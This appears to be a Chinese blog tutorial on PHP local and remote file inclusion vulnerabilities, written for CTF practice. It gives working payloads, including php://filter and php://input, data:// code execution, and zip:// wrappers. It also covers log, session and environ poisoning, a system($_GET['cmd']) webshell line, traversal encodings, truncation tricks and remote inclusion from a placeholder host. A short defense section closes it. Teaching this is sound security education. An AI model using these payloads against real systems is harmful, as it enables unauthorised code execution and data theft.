一.什么是文件包含漏洞

PHP文件包含漏洞在对服务端所利用requie(),include(),requie_once(),include_once()的不安全包含文件,在这个四个函数中,无论文件为任意类型,只要内容为php代码,就会在包含的时候自动读取代码内容并执行。

require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。

二.文件包含的类型

文件包含漏洞存在以下两种类型:

  • LFI(Local File Inclusion)

    本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。

  • RFI(Remote File Inclusion)

    远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
    但RFI的利用条件较为苛刻,需要php.ini中进行配置

    1. allow_url_fopen = On
    2. allow_url_include = On

    两个配置选项均需要为On,才能远程包含文件成功。

    在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。如果allow_url_fopen=off那么远程 URL wrapper就不行了(wrapper是流包装器),例如data,http,ftp这些协议就无法使用

三.文件包含的利用姿势

无论是怎么样的文件包含利用姿势,都殊途同归

文件包含漏洞利用 =

① 找 include 点
② 找一个“你能控制内容”的地方
③ 让这个地方出现 PHP 代码
④ 被 include → 执行

伪协议

file://协议

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
可用于读取一些隐秘文件,但相对来说只有非常简单的题目才可利用这一点,一般都不会简单读取

php://协议

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码。
php://input用于执行php代码。

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
利用条件:

allow_url_fopen :off/on
allow_url_include:off/on
例如有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开当前目录下的2.php:

在这里插入图片描述

他只显示了一条语句,这时候我们可以以base64编码的方式读取指定文件的源码:

输入
php://filter/convert.base64-encode/resource=文件路径
得到2.php加密后的源码:

img

再进行base64解码,获取到2.php的完整源码信息:

在这里插入图片描述

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。但这里还要提一个点,php://input是一次性数据流,所以如果代码中有在include前使用了数据,那么在include的时候数据就空了,例如前面有一个file_get_content(),一般来说框架中也可能会有这种操作,所以需要留意
利用条件:

allow_url_fopen :off/on
allow_url_include:on
利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:

img

发送报文,可以看到本地生成了一句话木马:

img

ZIP://协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://
利用条件:

allow_url_fopen :off/on
allow_url_include:off/on
POC为:

在这里插入图片描述

zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt

data://协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
利用条件:

allow_url_fopen :on
allow_url_include:on
POC为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=



/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']?>
这个POC可以输出页面的目录路径

?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
读取该路径文件

/?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
读取文件内容

img

img

伪协议利用条件

伪协议的利用方法还有很多,这里就不一一举例了。
伪协议的用法小结

在这里插入图片描述

包含session

要想学会利用包含session,就要先清楚seesion的会话机制

会话存储方式

Java是将用户的session存入内存中,而PHP则是将session以文件的形式存储在服务器某个文件中。

利用条件:session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

具体可参考下面这篇文章学习:https://www.anquanke.com/post/id/201177
,写得非常详细,我就不献丑了

PHP在文件上传和读取的过程中还有一个利用session专门记载进程的功能,我们还可以利用这点包含生成的临时文件,这个后面实验后专门开一章讲解一下。

包含日志

1.访问日志

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。

在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
常见日志路径:

Linux + Nginx:
/var/log/nginx/access.log
/var/log/nginx/error.log

Linux + Apache:
/var/log/apache2/access.log
/var/log/apache2/error.log

有些系统(如 CentOS):
/var/log/httpd/access_log
/var/log/httpd/error_log

Linux + PHP-FPM:
/var/log/php-fpm.log
/var/log/php7.4-fpm.log

2.ssh log

首先补充一点有关ssh的知识:
ssh基础连接语句:

1
ssh [选项] [用户名]@[主机名或IP地址] [-p 端口号]

若语句中为不存在的用户,会显示连接不上,但日志会记录这个不存在的用户的尝试连接日志,这里我们就可以利用恶意语句作为用户名被包含达到利用目的

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

姿势:

用ssh连接:

1
ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

之后会提示输入密码等等,随便输入。

然后在remotehost的ssh-log中即可写入php代码:

之后进行文件包含即可。

包含environ

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。

姿势:

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

包含fd

先来介绍一下,什么是fd:

在linux系统中,有一句名言,一切皆文件。在我们启动软件使用进程时也会创建文件,而fd就是文件描述符。标准输入(standard input)的文件描述符是 0,标准输出(standard output)是 1,标准错误(standard error)是 2。
若是想了解更具体是如何实现的可以找寻相关资料学习,还是蛮有意思的。

后面的利用就和environ差不多,就不多赘述了。

四.绕过方法

指定前缀

1.目录遍历
目录遍历是我现在了解到的较为通用的方法,若是./被过滤可用下面方法尝试绕过

  • url编码
    • ../
      • %2e%2e%2f
    • ..\
      • %2e%2e%5c
  • 二次编码
    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c
  • 服务器/容器的编码方式
    • ../
      • ..%c0%af
      • %c0%ae%c0%ae/
    • ..\
      • ..%c1%9c

2.简单了解好像伪协议也可以利用,读取到伪协议会将前面的字段忽略掉,但这个还没看见有实验结果图,需要自己实验后才可以确认,偷个懒,先留一下

指定后缀

1.url格式

1
protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。

姿势一:query(?)

1
index.php?file=http://remoteaddr/remoteinfo.txt?

则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过。

姿势二:fragment(#)

1
index.php?file=http://remoteaddr/remoteinfo.txt%23

则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23

2.利用协议

假设现在测试代码为:

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

构造压缩包如下:

其中test.php内容为:

1
<?php phpinfo(); ?>

利用zip协议,注意要指定绝对路径

1
index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta

则拼接后为:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php

能成功包含。

3.长度截断

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

1
index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

4.0字节截断

利用条件: php版本 < php 5.3.4

1
index.php?file=phpinfo.txt%00

能利用00截断的场景现在应该很少了:)

写入内容进行修改

为了防止写入内容被利用,有时会将写入的内容符号进行编码,对内容进行反序列化甚至直接编码,这就导致了我们时候写入文件也可以包含但无法成功。例如&lt;?php system($_GET['cmd']); ?&gt;或者会关闭短标签<? system($_GET['cmd']); ?>,这些情况下我们写入的代码就会失效。

这种情况下我们可以考虑利用条件竞争,毕竟对文件内容进行操作和写入文件是两步操作,中间肯定存在窗口的。拿session文件来举例吧:

正常流程是请求开始 → 写入$_SESSION → 请求结束 → 写入session文件上面提到的操作都是在写入文件那一步才进行的,我们此时可以尝试用条件竞争来include文件,同时传两个包,一个给SESSION参数赋值的请求,一个读取文件的请求,此时可能会让我们读到刚开始写入文件的内容即我们赋值的原数据,就可以按照正常的php代码执行了

五.如何防御

1.若是不会影响功能需求,php可配置open_basedir,现在文件包含只能限制在具体目录下,可防止攻击者随意读取任意目录下的文件

2.做好文件的权限管理

3.对危险字符进行过滤